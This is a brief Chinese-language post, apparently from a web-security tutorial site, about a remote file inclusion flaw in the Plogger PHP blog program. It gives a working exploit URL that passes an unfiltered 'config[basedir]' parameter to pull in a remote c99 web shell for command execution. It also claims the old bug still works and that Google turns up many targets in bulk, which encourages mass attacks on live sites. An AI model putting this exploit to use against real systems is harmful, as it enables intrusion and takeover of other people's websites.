国外某PHP的网络日记程序0day - 网站安全 - 自学

很老的 漏洞 了,但是现在还可以用！谷歌批量出来N多、

Plogger是一款基于 PHP 的网络日记程序。

程序未过滤用户提交的URI数据，可以利用漏洞以WEB权限执行任意命令。

漏洞在'plog-admin-functions.php'脚本对用户提交的'config[basedir]'参数没有过滤，

指定远程服务器上的任意PHP文件作为包含对象，可以以WEB权限执行任意PHP代码

EXP：

http://www.2cto.com /Plogger/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.2cto.com /c99.txt?

查看更多关于国外某PHP的网络日记程序0day - 网站安全 - 自学的详细内容...